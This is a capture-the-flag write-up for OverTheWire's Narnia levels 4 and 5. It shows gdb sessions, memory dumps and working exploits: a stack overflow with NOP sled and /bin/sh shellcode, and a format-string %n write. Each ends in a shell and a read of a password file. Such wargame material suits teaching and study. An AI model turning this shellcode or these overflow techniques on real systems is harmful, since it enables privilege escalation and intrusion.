overthewire / narina

Level 4

If the below doesn’t make sense, please see level 2. It’s essentially the same approach.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        int i;
        char buffer[256];

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1)
                strcpy(buffer,argv[1]);

        return 0;
}

Nothing too fancy - the binary is setting all environment variables to null. This doesn’t bother us much and our exploit will be identical to that of level 2.

narnia4@narnia:/narnia$ gdb -q ./narnia4
Reading symbols from ./narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x080484ad <+0>:     push   ebp
   0x080484ae <+1>:     mov    ebp,esp
   0x080484b0 <+3>:     and    esp,0xfffffff0
   0x080484b3 <+6>:     sub    esp,0x120
   0x080484b9 <+12>:    mov    DWORD PTR [esp+0x11c],0x0
   0x080484c4 <+23>:    jmp    0x8048511 <main+100>
   0x080484c6 <+25>:    mov    eax,ds:0x80497e0
   0x080484cb <+30>:    mov    edx,DWORD PTR [esp+0x11c]
   0x080484d2 <+37>:    shl    edx,0x2
   0x080484d5 <+40>:    add    eax,edx
   0x080484d7 <+42>:    mov    eax,DWORD PTR [eax]
   0x080484d9 <+44>:    mov    DWORD PTR [esp],eax
   0x080484dc <+47>:    call   0x8048380 <strlen@plt>
   0x080484e1 <+52>:    mov    edx,DWORD PTR ds:0x80497e0
   0x080484e7 <+58>:    mov    ecx,DWORD PTR [esp+0x11c]
   0x080484ee <+65>:    shl    ecx,0x2
   0x080484f1 <+68>:    add    edx,ecx
   0x080484f3 <+70>:    mov    edx,DWORD PTR [edx]
   0x080484f5 <+72>:    mov    DWORD PTR [esp+0x8],eax
   0x080484f9 <+76>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048501 <+84>:    mov    DWORD PTR [esp],edx
   0x08048504 <+87>:    call   0x80483a0 <memset@plt>
   0x08048509 <+92>:    add    DWORD PTR [esp+0x11c],0x1
   0x08048511 <+100>:   mov    eax,ds:0x80497e0
   0x08048516 <+105>:   mov    edx,DWORD PTR [esp+0x11c]
   0x0804851d <+112>:   shl    edx,0x2
   0x08048520 <+115>:   add    eax,edx
   0x08048522 <+117>:   mov    eax,DWORD PTR [eax]
   0x08048524 <+119>:   test   eax,eax
   0x08048526 <+121>:   jne    0x80484c6 <main+25>
   0x08048528 <+123>:   cmp    DWORD PTR [ebp+0x8],0x1
   0x0804852c <+127>:   jle    0x8048546 <main+153>
   0x0804852e <+129>:   mov    eax,DWORD PTR [ebp+0xc]
   0x08048531 <+132>:   add    eax,0x4
   0x08048534 <+135>:   mov    eax,DWORD PTR [eax]
   0x08048536 <+137>:   mov    DWORD PTR [esp+0x4],eax
   0x0804853a <+141>:   lea    eax,[esp+0x1c]
   0x0804853e <+145>:   mov    DWORD PTR [esp],eax
   0x08048541 <+148>:   call   0x8048360 <strcpy@plt>
   0x08048546 <+153>:   mov    eax,0x0
   0x0804854b <+158>:   leave
   0x0804854c <+159>:   ret
End of assembler dump.
(gdb) break *0x080484c4
Breakpoint 1 at 0x80484c4
(gdb) r $(python -c 'print "D"*255')
Starting program: /narnia/narnia4 $(python -c 'print "D"*255')

Breakpoint 1, 0x080484c4 in main ()
(gdb) i r ebp
ebp            0xffffd628       0xffffd628
(gdb) x/80wx $esp
0xffffd500:     0xf7e2ec34      0xf7ff0d16      0xf7ffd000      0xf7fdf4b2
0xffffd510:     0xf7ffd55c      0xf7ffdaf0      0x00000000      0x00000000
0xffffd520:     0x00000000      0x00000000      0x00000001      0x000008d6
0xffffd530:     0xf7fcf2e8      0xf7fcf000      0x0804828b      0xf7e2f474
0xffffd540:     0x080481fc      0x00000001      0x00000000      0x00000000
0xffffd550:     0x00000000      0xf7ffd000      0xffffd664      0xf7ffdaf0
0xffffd560:     0xffffd620      0xf7fe577a      0xffffd5d0      0x080481fc
0xffffd570:     0xffffd5d8      0xf7ffda94      0x00000000      0xf7fcf2e8
0xffffd580:     0x00000001      0x00000000      0x00000001      0xf7ffd938
0xffffd590:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd5a0:     0x0000002c      0x00000006      0x002c307d      0x00000000
0xffffd5b0:     0xffffd664      0xffffd5d8      0xffffd5d0      0x0804828b
0xffffd5c0:     0xf7ffd938      0x00000000      0x000000bf      0xf7eb7fe6
0xffffd5d0:     0xffffffff      0xffffd5fe      0xf7e2ec34      0xf7e54fe3
0xffffd5e0:     0x00000000      0x002c307d      0x00000001      0x08048335
0xffffd5f0:     0xffffd7ed      0x0000002f      0x080497b4      0x080485a2
0xffffd600:     0x00000002      0xffffd6c4      0xffffd6d0      0xf7e5519d
0xffffd610:     0xf7fcb3c4      0xf7ffd000      0x0804855b      0x00000000
0xffffd620:     0x08048550      0x00000000      0x00000000      0xf7e3bad3
0xffffd630:     0x00000002      0xffffd6c4      0xffffd6d0      0xf7feacca
(gdb) x/bx 0xf7e3bad3
0xf7e3bad3 <__libc_start_main+243>:     0x89
(gdb) break *0x08048541
Breakpoint 2 at 0x8048541
(gdb) c
Continuing.

Breakpoint 2, 0x08048541 in main ()
(gdb) ni
0x08048546 in main ()
(gdb) x/80wx $esp
0xffffd500:     0xffffd51c      0xffffd7fd      0x00000021      0xf7fdf4b2
0xffffd510:     0xf7ffd55c      0xf7ffdaf0      0x00000000      0x44444444
0xffffd520:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd530:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd540:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd550:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd560:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd570:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd580:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd590:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd5a0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd5b0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd5c0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd5d0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd5e0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd5f0:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd600:     0x44444444      0x44444444      0x44444444      0x44444444
0xffffd610:     0x44444444      0x44444444      0x00444444      0x00000015
0xffffd620:     0x08048550      0x00000000      0x00000000      0xf7e3bad3
0xffffd630:     0x00000002      0xffffd6c4      0xffffd6d0      0xf7feacca
(gdb) p 0xffffd628-0xffffd518
$1 = 272

We need to overwrite 272 bytes before reaching the caller’s return address.

narnia4@narnia:/narnia$ gdb -q ./narnia4
Reading symbols from ./narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x080484ad <+0>:     push   ebp
   0x080484ae <+1>:     mov    ebp,esp
   0x080484b0 <+3>:     and    esp,0xfffffff0
   0x080484b3 <+6>:     sub    esp,0x120
   0x080484b9 <+12>:    mov    DWORD PTR [esp+0x11c],0x0
   0x080484c4 <+23>:    jmp    0x8048511 <main+100>
   0x080484c6 <+25>:    mov    eax,ds:0x80497e0
   0x080484cb <+30>:    mov    edx,DWORD PTR [esp+0x11c]
   0x080484d2 <+37>:    shl    edx,0x2
   0x080484d5 <+40>:    add    eax,edx
   0x080484d7 <+42>:    mov    eax,DWORD PTR [eax]
   0x080484d9 <+44>:    mov    DWORD PTR [esp],eax
   0x080484dc <+47>:    call   0x8048380 <strlen@plt>
   0x080484e1 <+52>:    mov    edx,DWORD PTR ds:0x80497e0
   0x080484e7 <+58>:    mov    ecx,DWORD PTR [esp+0x11c]
   0x080484ee <+65>:    shl    ecx,0x2
   0x080484f1 <+68>:    add    edx,ecx
   0x080484f3 <+70>:    mov    edx,DWORD PTR [edx]
   0x080484f5 <+72>:    mov    DWORD PTR [esp+0x8],eax
   0x080484f9 <+76>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048501 <+84>:    mov    DWORD PTR [esp],edx
   0x08048504 <+87>:    call   0x80483a0 <memset@plt>
   0x08048509 <+92>:    add    DWORD PTR [esp+0x11c],0x1
   0x08048511 <+100>:   mov    eax,ds:0x80497e0
   0x08048516 <+105>:   mov    edx,DWORD PTR [esp+0x11c]
   0x0804851d <+112>:   shl    edx,0x2
   0x08048520 <+115>:   add    eax,edx
   0x08048522 <+117>:   mov    eax,DWORD PTR [eax]
   0x08048524 <+119>:   test   eax,eax
   0x08048526 <+121>:   jne    0x80484c6 <main+25>
   0x08048528 <+123>:   cmp    DWORD PTR [ebp+0x8],0x1
   0x0804852c <+127>:   jle    0x8048546 <main+153>
   0x0804852e <+129>:   mov    eax,DWORD PTR [ebp+0xc]
   0x08048531 <+132>:   add    eax,0x4
   0x08048534 <+135>:   mov    eax,DWORD PTR [eax]
   0x08048536 <+137>:   mov    DWORD PTR [esp+0x4],eax
   0x0804853a <+141>:   lea    eax,[esp+0x1c]
   0x0804853e <+145>:   mov    DWORD PTR [esp],eax
   0x08048541 <+148>:   call   0x8048360 <strcpy@plt>
   0x08048546 <+153>:   mov    eax,0x0
   0x0804854b <+158>:   leave
   0x0804854c <+159>:   ret
End of assembler dump.
(gdb) break *0x08048546
Breakpoint 1 at 0x8048546
(gdb) r $(python -c 'print "\x90"*128 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(272-128-35) + "\x10\xd5\xff\xff"')
Starting program: /narnia/narnia4 $(python -c 'print "\x90"*128 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(272-128-35) + "\x10\xd5\xff\xff"')

Breakpoint 1, 0x08048546 in main ()
(gdb) x/80wx $esp
0xffffd4f0:     0xffffd50c      0xffffd7e8      0x00000021      0xf7fdf4b2
0xffffd500:     0xf7ffd55c      0xf7ffdaf0      0x00000000      0x90909090
0xffffd510:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd520:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd530:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd540:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd550:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd560:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd570:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd580:     0x90909090      0x90909090      0x90909090      0xdb31c031
0xffffd590:     0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f
0xffffd5a0:     0x69622f68      0x51e3896e      0x8953e289      0x4180cde1
0xffffd5b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd600:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd610:     0x41414141      0x41414141      0x41414141      0xffffd510
0xffffd620:     0x00000000      0xffffd6b4      0xffffd6c0      0xf7feacca
(gdb) c
Continuing.
process 75 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x8048546

Done. Let’s try out outside of gdb.

narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print "\x90"*128 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(272-128-35) + "\x50\xd5\xff\xff"')
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
*** password ***

Level 5

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

This isn’t the standard buffer overflow we’re used to. We have to, somehow, change the value of i to be equal to 500. The code is using snprintf (writing to a sized buffer) so there won’t be any overflow here. We do however have a trick (two actually) up our sleeve.

The first one is how printf’s signature is defined. It takes a format string along with a series of arguments. How does it know how many arguments it needs? It looks at the string. If you have say %s %s, it will look for 2 arguments on the stack.

If those arguments aren’t present however, it will interpret whatever is already there. This means we can start reading values off the stack. If we go far enough we’ll read our own arguments. This enables us to read a user-defined address.

The second trick is to use the %n modifier which writes the number of bytes to a given address. Let’s see this in action:

narnia5@narnia:/narnia$ ./narnia5 "DDDD.%x.%x.%x.%x.%x"
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [DDDD.f7eb7fe6.ffffffff.ffffd6fe.f7e2ec34.44444444] (49)
i = 1 (0xffffd71c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "DDDD.%5$x"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [DDDD.44444444] (13)
i = 1 (0xffffd72c)
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff.%5$n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [,▒.] (5)
i = 5 (0xffffd72c)
narnia5@narnia:/narnia$ ./narnia5  $(python -c 'print "\x1c\xd7\xff\xff.%40x%5$n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [▒.                                f7eb7fe6] (45)
i = 45 (0xffffd71c)
narnia5@narnia:/narnia$ ./narnia5  $(python -c 'print "\x1c\xd7\xff\xff.%400x%5$n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [▒.                                                          ] (63)
i = 405 (0xffffd71c)
narnia5@narnia:/narnia$ ./narnia5  $(python -c 'print "\x1c\xd7\xff\xff.%495x%5$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
*** password ***